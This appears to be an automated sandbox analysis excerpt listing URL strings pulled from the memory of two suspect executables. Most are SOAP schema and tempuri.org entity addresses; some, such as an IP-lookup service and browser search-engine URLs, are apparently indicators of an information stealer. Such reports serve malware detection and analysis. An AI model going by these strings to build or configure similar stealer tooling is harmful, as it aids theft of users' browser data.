Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Durable2PC
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepare
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepared
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/ReadOnly
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Replay
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Volatile2PC
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/fault
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContext
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/RegisterResponse
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/fault
Source: kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm
Source: kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested
Source: kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequence
Source: kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse
Source: kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/LastMessage
Source: kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement
Source: kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/sct
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Cancel
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issue
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Nonce
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Cancel
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Renew
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Renew
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/SymmetricKey
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/spnego
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego
Source: kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2006/02/addressingidentity
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/
Source: kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1
Source: kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10Response
Source: kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11
Source: kxL91dA.exe, 00000005.00000002.328881291.0000000002AC1000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11Response
Source: kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12
Source: kxL91dA.exe, 00000005.00000002.328881291.0000000002AC1000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12Response
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.0000000002AC1000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13Response
Source: kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14Response
Source: kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15Response
Source: kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16Response
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17
Source: kxL91dA.exe, 00000005.00000002.328881291.0000000002AC1000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17Response
Source: kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18
Source: kxL91dA.exe, 00000005.00000002.328881291.0000000002AC1000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18Response
Source: kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19
Source: kxL91dA.exe, 00000005.00000002.328881291.0000000002AC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19Response
Source: kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19Response0
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1Response
Source: kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2
Source: kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20
Source: kxL91dA.exe, 00000005.00000002.328881291.0000000002AC1000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20Response
Source: kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21
Source: kxL91dA.exe, 00000005.00000002.328881291.0000000002AC1000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21Response
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22
Source: kxL91dA.exe, 00000005.00000002.328881291.0000000002AC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22Response
Source: kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22Response0
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2Response
Source: kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3
Source: kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3Response
Source: kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4(
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4Response
Source: kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5
Source: kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5Response
Source: kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.0000000002AC1000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6Response
Source: kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7Response
Source: kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.0000000002AC1000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8Response
Source: kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9
Source: kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.00000000027B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9Response
Source: kxL91dA.exe, 00000005.00000002.332458474.0000000003A11000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.000000000387B000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003A51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: sMt14vz.exe, 00000002.00000003.242565782.00000000049F8000.00000004.00000020.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000000.267575199.00000000004E2000.00000002.00000001.01000000.00000009.sdmp, kxL91dA.exe, 00000005.00000002.328881291.000000000283F000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe.2.dr	String found in binary or memory: https://api.ip.sb/ip
Source: kxL91dA.exe, 00000005.00000002.332458474.0000000003A11000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.000000000387B000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003A51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: kxL91dA.exe, 00000005.00000002.332458474.0000000003A11000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.000000000387B000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003A51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: kxL91dA.exe, 00000005.00000002.332458474.00000000037E4000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.000000000290D000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003A6E000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003ACE000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.0000000002AB4000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003898000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.00000000039F4000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.000000000299A000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003916000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003993000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.0000000002A27000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.00000000038F9000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003976000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003A11000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.000000000387B000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003A51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: kxL91dA.exe, 00000005.00000002.332458474.0000000003A11000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.000000000387B000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003A51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: kxL91dA.exe, 00000005.00000002.332458474.00000000037E4000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.000000000290D000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003A6E000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003ACE000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.0000000002AB4000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003898000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.00000000039F4000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.000000000299A000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003916000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003993000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.0000000002A27000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.00000000038F9000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003976000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003A11000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.000000000387B000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003A51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: kxL91dA.exe, 00000005.00000002.332458474.00000000037E4000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.000000000290D000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003A6E000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003ACE000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.0000000002AB4000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003898000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.00000000039F4000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.000000000299A000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003916000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003993000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.0000000002A27000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.00000000038F9000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003976000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003A11000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.000000000387B000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003A51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command=
Source: kxL91dA.exe, 00000005.00000002.332458474.00000000037E4000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003A6E000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003898000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003916000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003993000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003A11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://search.yahoo.com?fr=crmas_sfp
Source: kxL91dA.exe, 00000005.00000002.332458474.00000000037E4000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.000000000290D000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003A6E000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003ACE000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.0000000002AB4000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003898000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.00000000039F4000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.000000000299A000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003916000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003993000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.328881291.0000000002A27000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.00000000038F9000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003976000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003A11000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.000000000387B000.00000004.00000800.00020000.00000000.sdmp, kxL91dA.exe, 00000005.00000002.332458474.0000000003A51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://search.yahoo.com?fr=crmas_sfpf
